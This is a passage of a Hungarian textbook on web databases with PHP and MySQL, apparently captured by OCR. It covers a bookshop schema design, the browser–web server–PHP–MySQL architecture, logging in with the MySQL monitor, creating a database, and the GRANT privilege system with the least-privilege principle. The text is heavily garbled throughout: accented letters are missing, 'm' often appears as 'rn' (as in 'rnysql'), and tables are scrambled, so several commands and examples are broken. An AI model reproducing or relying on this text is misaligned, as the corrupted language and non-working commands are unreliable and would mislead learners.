ket meg kell vizsglnia az egyezsg megllaptsra.
Mivel az, ami gy ltrejtt, tulajdonkppen tbla a tblban, egyszeren annyit kell tenni, hogy j tblt hozunk ltre. Ez
a Rendelesi tetelek nev tbla lthat a 8.6 brn.

146

8. fejezet

RENDELESI TE TELEK
-

Rendelesi D

D arabszam

ISBN

0-672-31697-8

0-672-31745-1

0-672-31509-2

0-672-31697-8

0-672-31745-1

0-672-31509-2

0-672-31697-8

8.6 bra: Ez a kialakts megknnyti, hogy a megrendelt knyvek kztt keressnk.

Ez a tbla kapcsolatot teremt a Megrendelesek s a

Konyvek

tbla kztt. Ilyen tblkkal akkor tallkozunk, amikor

sok a sokhoz tpus kapcsolat ll fenn kt objektum kztt; jelen esetben ez azrt van gy, mert egy rendels tbb knyvet tar
talmazhat, s brmely knyvet tbben is megrendelhetnek.

Vlasszunk rtelmes kulcsokat!


gyeljnk arra, hogy egyedi kulcsokat vlasszunk! Pldnkban klnleges kulcsot hoztunk ltre a vsrlknak

(vasarloiD)

s a rendelseknek (RendelesiD), mert ezek a vals vilgbeli objektumok nem szksgszeren rendelkeznek egyedi azono
stval. A knyvekhez nem szksges egyedi azonostt ltrehozni, hiszen ezt- az ISBN-kd formjban- mr megtettk
szmunkra. Az egyes rendelsekhez (Rendelesi_tetel) adhatnnk ugyan mg egy kulcsot, m a RendelesiD s az

ISBN

tulajdonsg egyttesen garantlja az egyedisget, amennyiben ugyanabbl a knyvbl egynl tbb pldny rendelse esetn is
egy sorknt kezeljk a rendelst. Pontosan ezrt rendelkezik a Rendeles i_ tetelek tbla

Darabszam

oszloppal.

Gondoljuk vgig, mit szeretnnk az adatbzisbl megtudni!


Kvetkez lpsknt gondoljuk vgig, milyen krdsekre szeretnnk, ha adatbzisunk vlaszt tudna adni! (Ilyen krds lehet
pldul az, hogy melyek a Book-O-Rama legjobban fogy knyvei.) Annak rdekben, hogy megkapjuk a krt informcit,
gondoskodjunk rla, hogy az adatbzis minden szksges adatot tartalmazzon, s a megfelel kapcsolat legyen a tblk kzrt!

Kerljk a sok res tulajdonsgot tartalmaz kialaktst!


Ha a knyvekrl szl rtkelseket szeretnnk adni az adatbzishoz, legalbb ktflekppen tehetnnk meg. Ezt a kt megk
zeltst lthatjuk a 8.7 brn.
KONYVEK
ISBN

Szerzo

Konyvcim

Ar

o-672-31697-8

Michael Morgan

Java 2 for Professional Developers

34.99

0-672-31745-1

Thomas Down

Installing GNU/Linux

24.99

O- 672-31509-2

Pruirt.et al.

Teach Yourself GIMP in 24 Hours

24.99

Ertekeles

KONYV_ERTEKELESEK
ISBN

Ertekeles

8.7 bra: Az rtkelsek trolshoz vagy Ertekeles oszlopot kell hozzadni a Konyvek tblhoz,
vagy ltre kell hozni egy kln tblt kifejezetten az rtkelsek szmra.

Az els mdszer esetn egy

Ertekeles

oszlopot kell hozzadni a

Konyvek

tblhoz. Ez azt jelenti, hogy nnden egyes

knyvhz hozzadjuk az Ertekeles mezt. Ha az adatbzis szmos knyvet tartalmaz, s az rtkelsrt felels szemly
nem fog mindegyikkel foglalkozni, akkor sok olyan sor lesz, amelynek ennl a tulajdonsgnl nem lesz rtke. Ezt gy hvjuk,
hogy res rtke (null value) van.
rdemes elkerlni azt, hogy adatbzisunkban sok res rtk legyen. Egyrszt pazarolja a trhelyet, msrszt problmkat
okoz, amikor sszestett rtkeket szmolunk ki, vagy egyb fggvnyeket alkalmazunk numerikus rtkeket trol oszlopo-

Webes adatbzis megtervezse

147

kan. Ha

a felhasznl res mezt lt egy tblban, nem fogja tudni, hogy ennek az az oka, hogy a tulajdonsg irrelevns, az
adatbzis hibt tartalmaz, vagy az adat egyszeren mg nem lett berva.
A sok res rtk okozta problmkat msmilyen adarbzisterv alkalmazsval kerlhetjk el. Ehhez a 8.7 brn javasolt
msodik kialakrst clszer kvetni. Itt csak a mr rtkelssel br knyveket soroljuk fel a Konyv Ertekelesek tblban
- termszetesen az rtkelskkel egytt.
Meg kell emltennk, hogy a fenti szerkezet egyetlen, hzon belli szemly ltal rt rtkelssel szmol; ez azt jelenti, hogy
egy az egyhez tpus kapcsolat ll fenn a knyvek s az rtkelsek kztt. Ha tbb rtkels tartozhat ugyanahhoz a knyv
hz, akkor mr egy a sokhoz tpus kapcsolarrl beszlnk, s ekkor csak a msodik adatbzisterv jhet szba. Knyvenknt
egyeden rtkels esetn a Konyv Ertekelesek tbla elsdleges kulcsaknt hasznlhatjuk az ISBN-kdot, knyvenknt
tbb tekelsnl azonban egyedi azonostt kell bevezetnnk mindegyikhez.
_

Tblatpusok sszefoglalsa
ltalban azt fogjuk tapasztalni, hogy adatbzistervnk vgl ktfle tblt tartalmaz:
Vals vilgbeli objektumot ler, egyszer tblkat. Ezek olyan egyb, egyszer objektumokra mutat kulcsokat tar
ralmazhatnak, amelyekkel egy az egyhez vagy egy a sokhoz tpus kapcsolarban llnak. Egy vsrlnak pldul tbb
rendelse lehet, de egy adott rendelst csak egyetlen vsrl adhatott fel. Ezrt a rendelsbe a vsrlra ural hivatkozst
helyeznk.
sszekapcsol tblkat, amelyek kr vals objektum kztti, sok a sokhoz tpus kapcsolatot rnak le; ilyen pldul
a rendelsek s a knyvek kztti kapcsolat. Ezeker a tblkat gyakran valamilyen vals vilgbeli tranzakcival trstjuk.

Webes adatbzis architektrja


Miurn ttekintettk az adarbzis bels szerkezerr, vizsgljuk meg a webes adarbzisrendszerek kls archirekrrjr s a we
bes adarbzisrendszer fejlesztsnek mdszertant!
A webszerverek alapver mkdsr a 8.8 brn ltjuk. A rendszer kt objektumbl ll: egy bngszbl s egy webes
kiszolglbL Kommunikcis kapcsolatra van szksg kzrtk. A bngsz krst intz a kiszolglhoz, amely megkldi
a vlaszt. Ez az architektra kivlan megfelel a statikus oldalakat kezel kiszolglknak. A httrben adatbzissal mkd
weboldalak azonban ennl nmikppen sszetettebb krnyezetet ignyelnek.

Bngsz

k rs

l ,.l

Webes kiszolgl

valasz

8.8 bra: A bngsz s a webes kiszolgl kztti kliens-szerver kapcsolat kommunikcit ignyel.
A knyv olvassa sorn fejlesztend, webes adatbzist hasznl alkalmazs a 8.9 brn lthat ltalnos szerkezethez hason
lt kvet. E srrukrra nagy rsze minden bizonnyal mr ismers szmunkra.

Bngsz

l ,.l
.

Webes kiszolgl

l
l

'

..

PHP

motor

J. ,.l

MySQL kiszolgl

8.9 bra: Az alapvet webes adatbzis-architektra a bngszbl, a webes kiszolglbl,

a parancsfjlmotorbl

Egy tipikus webes


l.

2.
3.

(PHP) s az adatbzis-kiszolglbl ll.

adarbzis-tranzakci az albbi szakaszokbl ll (a szmozsr a 8.9 brn is megralljuk):


A felhasznl bngszje HTTP krst intz egy adott weboldalhoz. Pldul HTML rlap segtsgvel rke
res a Book-O-Rama adatbzisban a Laura Thomsan ltal rt knyvekre. A keressi eredmnyek lapjnak neve
eredmenyek. p hp.
A webes kiszolgl megkapja az eredmenyek. php-re vonatkoz krsr, visszakeresi a fjlt, majd feldolgozs clj
bl tadja a PHP motornak.
A PHP motor elkezdi vizsglni a kdot, amely az adatbzishoz csatlakozsta s a lekrdezs vgrehajtsra (a kny
vek keressre) irnyul parancsot tartalmaz. A PHP megnyitja a kapcsolator a MySQL kiszolglhoz, s elkldi
a megfelel lekrdezst.

148

8. fejezet

4.

A MySQL kiszolgl megkapja az adatbzis-lekrdezst, feldolgozza, s visszakldi az eredmnyeket - a knyvek

5.

A PHP motor befejezi a kd futtatst, ami ltalban a lekrdezs eredmnyeinek HTML-beli formzst is mag

6.

A webes kiszolgl visszaadja a HTML-t a bngsznek, ahol a felhasznl lthatja a krt knyvek listjt.

listjt - a PHP motornak.


ban foglalja. Ezt kveten az eredmnyl kapott HTML-t visszakldi a webes kiszolglnak.
A folyamat alapveten megegyezik akr szkriptfuttat krnyezetet, akr adatbzis-kiszolglt hasznlunk. A webes ki
szolgl szoftvere, a PHP motor s az adatbzisszoftver gyakran ugyanazon a gpen fut. Mindazonltal az is legalbb ennyire
elfogadott, hogy az adatbzis-kiszolglt msik gpen futtassuk Ennek oka a biztonsg, a nagyobb kapacits vagy a terhels
megosztsa lehet. Fejlesztsi szempontbl ugyangy kell dolgozni mindkt megkzeltssel, m az utbbi jelents elnyket
knlhat a teljestmny tern.
Ahogy alkalmazsaink mrete s bonyolultsga nvekszik, elkezdjk majd PHP alkalmazsainkat rtegekre bontani: jellem
zen egy, a MySQL-hez kapcsold adatbzisrtegre; egy, az alkalmazs magjt tartalmaz, az zleti logikt kvet rtegre;
illetve a HTML kimenetet kezel, megjelent rtegre. A 8.9 brn lthat alapszerkezet azonban ekkor is rvnyben marad,
csupn mlyebb struktrt adunk a PHP rszhez.

Tovbbi olvasnival
A fejezetben a relcis adatbzis tervezshez kaptunk alapszint irnymutatst. Ha szerernnk jobban elmlyedni a relcis
adatbzisok mgtt ll elmletben, olvassuk el olyan relcis guruk knyveit, mint pldul C. J. Date! Nem rt tudni, hogy az
ezekben a kiadvnyokban olvashat anyag meglehetsen elmleti jelleg, s nem szksgszeren lesz azonnal relevns az zleti
cl webfejlesztk szmra. Egy dagos webes adatbzis jellemzen nem ennyire sszetett.

Hogyan tovbb:
A kvetkez fejezetben elkezdjk ltrehozni MySQL adatbzisunkat. Elszr megtanuljuk, hogyan lltsunk be interneten
keresztl elrhet MySQL adatbzist, hogyan futtassunk rajta lekrdezseket, majd hogyan tegyk meg ugyanezt PHP-bl.

9
Webes adatbzis ltrehozsa
Az elrtnk ll fejezerbl megrudharjuk, hogyan lltsunk be weboldalon hasznlni kvnt MySQL adatbzist. A fbb tma
krk:

Adatbzis ltrehozsa
Felhasznlk s jogosultsgok belltsa
A jogosultsgi rendszer megismerse

Adarbzistblk ltrehozsa
Indexek ltrehozsa

Oszloptpusok kivlasztsa MySQL-ben

Az elzekben megismert, Book-O-Rama online knyvesbolt alkalmazst folytatva haladunk vgig a fejezeten. Emlkezte
rsl lljon itt a Book-O-Rama alkalmazs smja:
Vasarlok(VasarloiD,

Nev,

Lakcirn,

Megrendelesek(RendelesiD,
Konyvek(ISBN,

Szerzo,

Cirn,

Osszeg,

Daturn)

Ar)

Rendelesi_tetelek(RendelesiD,
Konyv_Ertekelesek(ISBN,

Varas)

VasarloiD,

ISBN,

Darabszarn)

Ertekelesek)

Az elz fejezerbl emlkezhetnk r, hogy az elsdleges kulcsokar alhzssal, az idegen kulcsokat pedig dlt betvel jelljk.
Az ebben a rszben szerepl tmakrk feldolgozshoz MySQL-hozzfrs szksges. Ahhoz, hogy a MySQL rendelkez
snkre lljon, teleptennk kell webes kiszolglnkra. Ez a lps a kvetkezket foglalja magba:

A fjlok installlsa
Felhasznl belltsa a MySQL futtatsra
Elrsi tvonal belltsa

Szksg esern

arnysql_install_db

futtatsa

Adminiszrrtori (root) jelsz belltsa


A nvtelen felhasznl rrlse s az adatbzis tesztelse
A MySQL kiszolgl els indrsa s automatikus futsnak bellrsa

Ha mindezzel megvagyunk, tovbblphetnk s -olvashatjuk a fejezetet. Ha a fenti lpsek nem magrl rterdk sz
munkra, A PHP s

MySQL teleptse cm Fggelkben segitsger tallunk vgrehajtsukra.

Ha a fejezet brmilyen pontjnl problmba tkznk, knnyen lehet, hogy MySQL rendszernk nem megfelelen lett
belltva. Ebben az esetben ellenrizzk a fenti !istc, s tekintsk t a Fggelket, hogy meggyzdjnk belltsaink helyess
grl!
Elkpzelhet, hogy olyan gpen frnk hozz a MySQL-hez, amit nem mi kezelnk (nem mi vagyunk a rendszergazdi)
webes hoszring szolgltars vagy munkahelyi gp hasznlata esetn ez igen valszn. Ebben az esetben a pldk kvershez
vagy sajt adatbzisunk ltrehozshoz meg kell krni a rendszergazdt, hogy hozzon ltre szmunkra egy felhasznlt s egy
adatbzist, majd kzlje velnk a vlasztott felhasznli nevet, jelszr s adarbzisnever. Ekkor a fejezet azon rszeit, amelyek
a felhasznlk s adarbzisok belltst mutarjk be, akr t is ugorhatjuk. De ez esetben is rdemes lehet elolvasni ezeker
az

oldalakat, mert az gy megszerzett informci birtokban pontosabban el rudjuk magyarzni rendszergazdnknak, hogy

mire van szksgnk.


A fejezerben szerepl pldkat a knyv rsa idejn legfrissebb, 5.1-es verzij MySQL-lel ptettk fel s teszreltk. Egyes
korbbi verzik kevesebb funkcival rendelkeznek. rdemes a knyv olvassa idejn a legfrissebb, stabilan mkd vltozatot
telepteni vagy arra frissteni. A MySQL aktulis verzija a http://www.mysql.com oldalrl tlthet le.
Knyvnkben a MySQL manitornak nevezett parancssori kliens hasznlarval rjk el a MySQL-r. Ez a kliens a MySQL
brmilyen teleptse utn rendelkezsre ll. Termszetesen ms kliensek is megfelelnek a clnak. Ha a MySQL-t pldul
hasztolt webes krnyezetben hasznljuk, a rendszergazdk jellemzen a phpMy Admin bngszalap felletet knljk fel

150

9. fejezet

szmunkra. Ms grafikus kezelfellet kliensek nyilvnvalan az itt lertaktl kiss eltr eljrsokkal dolgoznak, m a fejezet
utastsait kvetve viszonylag knnyedn elboldogulhatunk azokon a felleteken is.

A MySQL monitor hasznlata


A mostani s a kvetkez fejezet MySQL-es pldiban rninden parancs pontosvesszvel (;) r vget. A pontosvessz utastja
a MySQL-t a parancs vgrehajtsra. Ha lefelejtjk, semmi sem fog trtnni. A kezd felhasznlk ezt a hibt kvetik el leg
gyakrabban.
A pontosvessz elmaradsnak eredmnyeknt j sorokat kezdhetnk a parancsokon bell. Knyvnkben azrt ltnk ezzel
a lehetsggel, mert knnyebben olvashatv teszi a pldkat. Jl lthat, hogy mikor hasznltuk, rnivel a MySQL folytats
jelet hasznl, amely a kvetkezkppen nz ki:
rnysql> grant select
->

Ez a szimblum azt jelenti, hogy a MySQL tovbbi inputot vr. Ha a pontosvessz begpelse nlkl tjk le az Enter bil
lentyt, a fenti kt karaktert ltjuk megjelenni.
rdemes megjegyezni azt is, hogy az SQL utastsok nem tesznek klnbsget a kis- s nagybetk kzte-nem gy az
adatbzisok s a tblk nevei (errl ksbb mg bvebben is olvashatunk majd).

Bejelentkezs MySQLbe
A MySQL-be trtn bejelentkezshez menjnk szmtgpnk parancssori kezelfelletre, s gpeljk be a kvetkezket:
rnysql -h hostnev -u felhasznaloi_nev -p

A rnysql parancs meghvja a MySQL monitort, ami a bennnket a MySQL szerverhez csatlakoztat parancssori kliens.
A -h hatrozza meg a gpet, amelyhez csatlakozni kvnunk- vagyis amelyen a MySQL kiszolgl fut. Ha ugyanazon
a gpen adjuk ki ezt a parancsot, amelyiken a MySQL szerver tallhat, ez a kapcsol s a hostnev paramter kihagyhat.
Ellenkez esetben a hostnev paramtere helyett annak a gpnek a nevt kell megadnunk, amelyen a MySQL kiszolgl fut.
A -u kapcsol hatrozza meg a felhasznli nevet, amellyel csatlakozni szeremnk. Ha nem adjuk meg, az opercis rend
szerbe bejelentkezshez hasznlt felhasznli nv lesz az alaprtelmezett.
Amennyiben sajt gpnkre vagy kiszolglnkra teleptettk a MySQL-t, root-knt (adminisztrtorknt) kell bejelent
keznnk, majd ltrehoznunk az ebben a fejezetben hasznland adatbzist. Els telepts esetn a root lesz az egyetlen
felhasznl, amelyikkel dolgozhatunk. Ms rendszergazda ltal kezelt gpen fut MySQL esetn a rendszergazda ltal adott
felhasznli nevet kell hasznlnunk.
A -p kapcsol kzli a kiszolglval, hogy jelsz hasznlatval kvnunk csatlakozni. Amennyiben a bejelentkezshez hasz
nlt felhasznli nvhez nincsen jelsz belltva, ezt a kapcsolt kihagyhatjuk.
Ha root-knt jelentkeznk be, s nem lltottunk be jelszt ehhez a felhasznlhoz, nyomatkosan javasoljuk, hogy most
azonnal lapozzunk a Fggelkhez l Rendszernk root jelsz nlkl egyltaln nem biztonsgos.
Nem szksges a jelszt ebben a sorban megadnunk, a MySQL kiszolgl gyis krni fogja. Tulajdonkppen jobb is, ha
nem itt adjuk meg, mivel a parancssorban bevitt jelsz egyszer szvegknt jelenik meg a kpernyn, gy ms felhasznlk is
egyszeren leolvashatjk azt.
Az elz parancs utn az albbihoz hasonl vlaszt kell kapnunk:
Enter password:

(Ha nem mkdik a parancs, ellenrizzk, hogy a MySQL kiszolgl fut-e, s a rnysql parancs az elrsi tvonalban van-e
valahol!)
Ekkor adjuk meg jelszavunkat! Ha rninden jl megy, az albbihoz hasonl vlaszt kell lmunk:
Welcome to the MySQL rnonitor. Cornrnands end with ;
Your MySQL connection id is l to server version:
Community Server

or \g.
5.1.25-rc-cornrnunity MySQL

(GPL)

Type 'help;' or '\h' for help.

Type '\c' to clear the buffer.

rnysql>

Ha gpnkn nem a fentihez hasonl vlasz jelenik meg, ellenrizzk, hogy futtattuk-e a rnysql_install_db-t- ameny

nyiben arra szksg volt-, belltottuk s helyesen gpeltk-e be a root jelszt! Ha nem sajt gpnkn fut a MySQL, gy
zdjnk meg rla, hogy a megfelel jelszt adruk-e meg!
Ekkor a MySQL parancssornl kell len nnk, kszen llva az adatbzis ltrehozsra. Ha sajt gpet hasznlunk, kvessk
a kvetkez rszben lertakat! Ha ms gpnl dolgozunk, az albbi lpseket mr elvgeztk szmunkra, gy akr A

megfelel

Webes adatbzis ltrehozsa

151

adatbzis hasznlata cm rszre is ugorhatunk. rdemes lehet ugyanakkor a kztes rszeket is tolvasni, br az azokban meg
adott parancsokat nem lesznk kpesek futtatni. (Vagy legalbbis nem lenne szabad, hogy futtatni tudjuk!)

Adatbzisok s felhasznlk ltrehozsa


A MySQL adatbzisrendszer szmtalan klnbz adatbzist kpes tmogatni. Alkalmazsonknt jellemzen egy adatbzis
sal fogunk dolgozni. A Book-O- Rama-s pldban az adatbzis neve Kon yvek lesz.
A legknnyebb az adatbzis ltrehozsa. Gpeljk be a MySQL parancssorba a kvetkezt:
mysql> CREATE DATABASE adatbazis neve;
_
Az adatbazis_neve helyre a ltrehozni kvnt adatbzis nevt kell rnunk. A Book-O-Rama-s plda megkezdshez
hozzuk ltre a Konyvek nev adatbzist! Ennyi. Az albbihoz hasonl vlaszt kell ltnunk (a vgrehajtsi id minden bizony
nyal ettl eltr lesz):
Query OK,

l row affected

(0.0 sec)

Ez azt jelenti, hogy minden rendben ment. Ha nem ezt a vlaszt kapjuk, ellenrizzk, hogy bertuk-e a sor vgre a pontos
vesszt! Ez kzli ugyanis a MySQL-lel, hogy kszen vagyunk, s kvetkezik, hogy vgrehajtsa a parancsot.

Felhasznlk s jogosultsgok belltsa


Egy MySQL rendszer sok felhasznlval rendelkezhet. A root felhasznl biztonsgi okokbl jellemzen csak rendszer
ga zdai feladatokat lt el. A rendszerrel dolgoz minden egyes felhasznl szmra felhasznli nevet s jelszt kell belltani.
Nem szksges, hogy ezek a MySQL-en kivli felhasznli nevekkel s jelszavakkal (pldul a unixos vagy NT-s felhasznli
nevekkel s jelszavakkal) egyezk legyenek. Ugyanez rvnyes a root esetben is. rdemes klnbz jelszavakat belltani
a rendszerhez s a MySQL-hez, s fokozottan rvnyes ez a root jelszavra.
Ugyan nem ktelez a felhasznlkhoz jelszt belltani, mgis ersen ajnlott, hogy minden, ltalunk ltrehozott felhasz
nl esetben megtegyk ezt. Webes adatbzis belltsa cljbl rdemes webes alkalmazsonknt legalbb egy felhasznlt is
ltrehozni. Felmerlhet bennnk a krds, hogy mi rtelme van ennek? A vlasz a jogosultsgokban rejlik.

A MySQL jogosultsgi rendszernek bemutatsa


A MySQL egyik legnagyszerbb jellemzje, hogy kifinomult jogosuJtsgi rendszert tmogat. A jogosultsg (privilege) adott
mvelet adott objektumon trtn vgrehajtsnak lehetsge, s mindig egy adott felhasznlhoz van trsrva. A dolog a fjl
kezelsi jogosultsgokhoz hasonl. Amikor ltrehozunk a MySQL-en bell egy felhasznlt, jogosultsgokkal felruhzva hat
rozzuk meg, hogy mit lehet s mit nem lehet megtennie a rendszerben.

A legkisebb jogosultsg elve


A legkisebb jogosultsg elvt kvetve brmilyen szmtgpes rendszer biztonsga javthat. Alapvet, mgis rendkvl fontos
elv, amit gyakran hagynak figyelmen kvl. A kvetkezkppen szl:
Minden felhasznlnak (vagy folyamatnak) a hozzrendelt feladat elvgzshez szksges legalacsonyabb szint jogosult
sggal kell rendelkeznie.
MySQL-ben ez ppen gy igaz, mint brhol mshol. Ahhoz pldul, hogy lekrdezseket futtassunk az internetrl, nem
sziiksgesek olyan jogosultsgok, mint amilyenekkel adminisztrtorknt a root rendelkezik. Ezrt egy msik felhasznlt kell
ltrehoznunk, aki csak az ltalunk imnt ltrehozott adatbzishoz val hozzfrshez szksges jogosultsgokkal br.

Felhasznl belltsa: a GRANT parancs


A GRANT s REVOKE paranccsal jogosultsgokat adhatunk a MySQL-felhasznlknak, illerve megfoszthatjuk ket azoktl az
albbi ngy jogosuJtsgi szinten:
Globlis (Global)

Adarbzis (Database)
Tbla (Table)
Oszlop (Column)

Rvidesen ltni fogjuk, hogyan hasznljuk ezeket.


A GRANT parancs felhasznlkat hoz ltre, s jogosultsgokat ad nekik. ltalnos formja a kvetkez:

152

9. fejezet

GRANT jogosultsagok

[oszlopok)

ON elem
TO felhasznaloi nev

[IDENTIFIED

BY

'jelszo']

[REQUIRE ssl_opciok)
[WITH

[GRANT OPTION

korlatozo opciok]

A szgleres zrjelben lv mellkgak (clause) opcionlisak. Szmos helyrzt (placeholder) tallunk a fenti szintaktik
ban. Az els- a jogosul tsagok- a jogosultsgok vesszvel elvlasztott listjt jelli. A MySQL jogosultsgok meghatro
zott kszleteivel rendelkezik, ezeket a kvetkez rszben mutatjuk be.
Az os z lopok helyrz opcionlis. Arra val, hogy oszloponknt hatrozzunk meg jogosultsgokat. Hasznlhatunk egy
vagy tbb oszlopnevet, utbbi esetn vesszvel kell elvlasztani azokat.
Az elem azt az adatbzist vagy tblt jelli, amelyre az j jogosultsgok vonatkoznak. Ha elem-knt a*.* karaktereket
acljuk meg. az sszes adatbzisra megaelj uk a jogosultsgokat. Ezt globlis jogosultsg kiosztsnak nevezzk. Ha nem egy
konkrt adatbzist hasznlunk, akkor ugyanezt egy* megadsval is megtehetjk. Ennl gyakrabban fordul el, hogy a jo
gosultsgokat egy adatbzis nnden tbljra (adatbazis_neve.*), egyetlen tblra (adatbazis _neve. tabla_ neve )
vagy egyes oszlopokra (adatbazis _neve. tabla _neve, majd az oszlopok felsorolsa az oszlopok helyrzben J adjuk
meg. Ezek a pldk a msik hrom jogosultsgi szintet mutatjk:

adatbzis, tbla, illetve oszlop. Ha adott adatbzist hasznlunk

e parancs kiadsakor, a tabla_neve nmagban az aktulis adatbzis egy tbljaknt lesz rtelmezve.
A felhasznaloi_nev az, amivel a felhasznlnak a MySQL-be be kell jelentkeznie. Ne feledjk, hogy ez a rendszerbe
val bejelentkezshez hasznlt nvtl eltr is lehet! MySQL-ben a felhas znaloi_nev hostnevet is tartalmazhat. Ezzel
megklnbztethetjk mondjuk a laura (amit a MySQL laura@ localhost-knt rtelmez) s a laura@valahol. com
felhasznli nevet. Ez igen hasznos tud lenni, mert a klnbz domainekbl rkez felhasznlknak gyakran ugyanaz a ne
vk. A biztonsgot is nveli, mivel meghatrozhatjuk, honnan csatlakozhatnak a felhasznlk, s mely tblkat vagy adatbzi
sokat rhetik el az adott helyrl.
A je lszo helyre az a karaktersor kerl, amivel a felhasznlt be kvnjuk lptetni. A jelszavak kivlaszrsra a szoksos
szablyok vonatkoznak. A biztonsggal ksbb rszleresebben is foglalkozunk, egyelre elg annyi, hogy a jelsz ne legyen
knnyen kitallhat! Vagyis ne legyen sztrban elfordul sz, s ne egyezzen meg a felhasznli nvvel! Idelis esetben kis
s nagybetk s nem alfabetikus karakterek kombincijbl ll.
A REQUIRE mellkgban meghatrozhatjuk, hogy a felhasznlnak Secure Sockets Layer (SSL) protokollrtegen keresztl
kell csatlakoznia, illetve tovbbi SSL-belltsokat adharunk meg. Az SSL-en keresztli MySQL-hez csatlakozsrl a MySQL
kziknyvben tallunk tovbbi informcit.
A WITH GRANT OPTION bellirssal megengedhetjk a felhasznlnak, hogy msoknak kioszthassa sajt jogosultsgait.
A WITH mellkgat az albbiakkal is megadhatjuk:
MAX_QUERIES PER_HOUR n

vagy
MAX UPDATES PER HOUR n

vagy
MAX CONNECTIONS PER HOUR n

Ezekkel a mellkgakkal a felhasznl ltal rnknt vgezhet lekrdezsek, frisstsek vagy kapcsoldsok szmt korl
tozhatjuk. Megosztott rendszerek esetn kivlan alkalmasak az egyes felhasznlk ltal kivltott terhels korltozsra.
A jogosultsgok trolsa a mysql nev adatbzis t rendszertbljban trtnik. Ezek neve mysql. user, mysql. db,
mysql. host, mysql. tables_pr iv s mysql. columns _priv. A GRANT parancs alkalmazsa helyett megreherjk, hogy

kzvetlenl ezeket a tblkat mdosrjuk. Mkdsket, illetve azt, hogy hogyan lehet kzvetlenl ezeket mdostani, a Hala

d MySQL-adrninisztrci cm

12. leckben tekintjk t.

Jogosultsgok tpusai s szintjei


MySQL-ben a jogosultsgok hrom alappusa ltezik: az ltalnos felhasznlk szmra Icioszthat jogosultsgok, a rendszer
gazdk szmra megfelel jogosultsgok, illetve nhny klnleges jogosultsg. Brmelyik felhasznlhoz hozzrendelhetjk
ezen jogosultsgok brmelyikt, m a legkisebb jogosultsg elvnek megfelelen rdemes a rendszergazda rpus jogosultsgo

kat a rendszergazdk szmra fenntartani.


Csak azokra az adatbzisokra s tblkra adjunk a felhasznlk szmra jogosultsgokat, amelyeket tnylegesen hasznlniuk
kell! A rendszergazdn kvl senkinek nem szabad hozzfrst adni a mysql adatbzishoz, hiszen ez az, ahol a felhasznl
kat, a jelszavakat stb. troljuk. (A 12. fejezetben alaposabban is megvizsgljuk ezt az adatbzist.)

Webes adatbzis ltrehozsa

153

Az lcalnos felhasznlk jogosultsgai kzvetlenl az SQL parancsok adott tpusaira vonatkoznak, illetve arra, hogy a fel
hasznl futtathatja-e ezeket. A kvetkez fejezetben rszletesen ttekintjk ezeket az SQL parancsokat. Egyelre csupn
mkdsk elmleti lerst nzzk t. A 9.1 tblzatban az alapvet felhasznli jogosultsgokat lthatjuk. A "Mire rvnyest
oszlopban talljuk azokat az objektumokat, amelyekre az ilyen tpus jogosultsgok kioszthatk.

9.1 tblzat: Felhasznli jogosultsgok


Jogosultsg

Mire rvnyes

Lers

SE LECT

tblk, oszlopok

Megengedi a felhasznlknak, hogy sorokat (rekordokat) vlasszanak ki tblk

INSERT

tblk, oszlopok

Megengedi a felhasznlknak, hogy j sorokat szrjanak be a tblkba.

UPDATE

tblk, oszlopok

Megengedi a felhasznlknak, hogy meglv tblasorokban lv rtkeket m

DE LETE

tblk

Megengedi a felhasznlknak meglv tblasorok trlst.

INDEX

tblk

bl.

dostsanak.
Megengedi a felhasznlknak, hogy adott tblkra indexeket hozzanak ltre s
megszntessk azokat.
tblk

ALTER

Megengedi a felhasznlknak, hogy pldul oszlopok hozzadsval, oszlopok


vagy tblk tnevezsvel s az oszlopok adartpusnak a megvltoztatsval
meglv tblk szerkezett mdostsk.

adatbzisok, tblk

CREATE

Megengedi a felhasznlknak j adatbzisok vagy tblk ltrehozst. Ha konk


rt adatbzis vagy tbla meg lett hatrozva a

GRANT

utastsban, akkor az adott

nev adatbzis vagy tbla csak akkor hozhat ltre, ha mg nem ltezik. Ellenke
z esetben elszr trlni kell, hogy ugyanazon a nven ltre lehessen hozni.
Megengedi a felhasznlknak, hogy adatbzisokat vagy tblkat trljenek.

adatbzisok, tblk

DROP

A norml felhasznlk jogosultsgainak nagy rsze a rendszerbiztonsg szempontjbl viszonylag rtalmatlan. Az ALTER
jogosultsg ugyan a tblzatok tnevezsn keresztl alkalmas lehet a jogosultsgi rendszer megkerlsre, m a felhasznlk
szles krnek szksge van erre a jogosultsgra. A biztonsg s a hasznlhatsg kzrt minden esetben tvlts ll fenn. Az
ALTE R

esetben nll dntst kell hoznunk, de rdemes tudni, hogy a felhasznlk gyakran megkapjk ezt a jogosultsgot.

A 9.1 tblban felsorolt jogosultsgok mellerc ltezik mg a


nincsenek hasznlatban. A

GRANT

RE FERENCES

s az EXECUTE jogosultsg, m ezek jelenleg

jogosultsg kiosztsa pedig a jogosul tsagok lista helyere inkbb a

WITH GRANT

OPTION-nel trtnik.
A 9.2 tblzat a rendszergazdk (adminisztrtorok) ltal ignyelt jogosultsgokat tartalmazza.

9.2 tblzat: Rendszergazda i jogosultsgok


Jogosultsg

Lers

CREATE

Megengedi a rendszergazdnak a CREATE

TEMPORARY

TABLE

utastsban a

TEMPORARY

kulcssz hasz

TABLES

nlatt.

FILE

Megengedi az adatok fjlbl tblba s tblbl fjlba olvasst.

LOCK TABLES

Megengedi a

PROCESS

Megengedi a rendszergazdnak, hogy brmely felhasznlhoz tartoz szerverfolyamatokat

L OCK

TABLES

utasts explicit hasznlatr.

megtekintsen.
RE LOAD

Megengedi a rendszergazdnak a jogosultsgtblk jratltst s a jogosultsgok, hostok,


naplk s tblk frisstst.

REPLICATION CLIE NT

Replikcik hasznlatakor a master s a slave szerver esetn is megengedi a SHOW

STATUS

hasznlatr. A replikcival a 12. fejezetben foglalkozunk majd.


REPLICATION S LAVE

Megengedi a repiicaeion slave kiszolglknak, hogy master kiszolglhoz csatlakozzanak.


A replikcival a 12. fejezetben foglalkozunk majd.

SHOW DATABASES

Megengedi, hogy a SHOW

DATABASES

utastssal az sszes adatbzis listjt megtekintsk.

E jogosultsg nlkl a felhasznlk csak azokat az adatbzisokat lthatjk, amelyekre msmi


lyen jogosultsggal rendelkeznek.

154

9. fejezet

Jogosultsg

Lers

SHUTDOWN

Megengedi az adminisztrtornak a MySQL lelltst.

SUPER

Megengedi a rendszergazdnak, hogy brmely felhasznl folyamatait lelltsa.

A fenti jogosultsgok nem rendszergazdk szmra is kioszthatk, m fokozott vatossggal rdemes eljrni, amikor gy
tesznk.
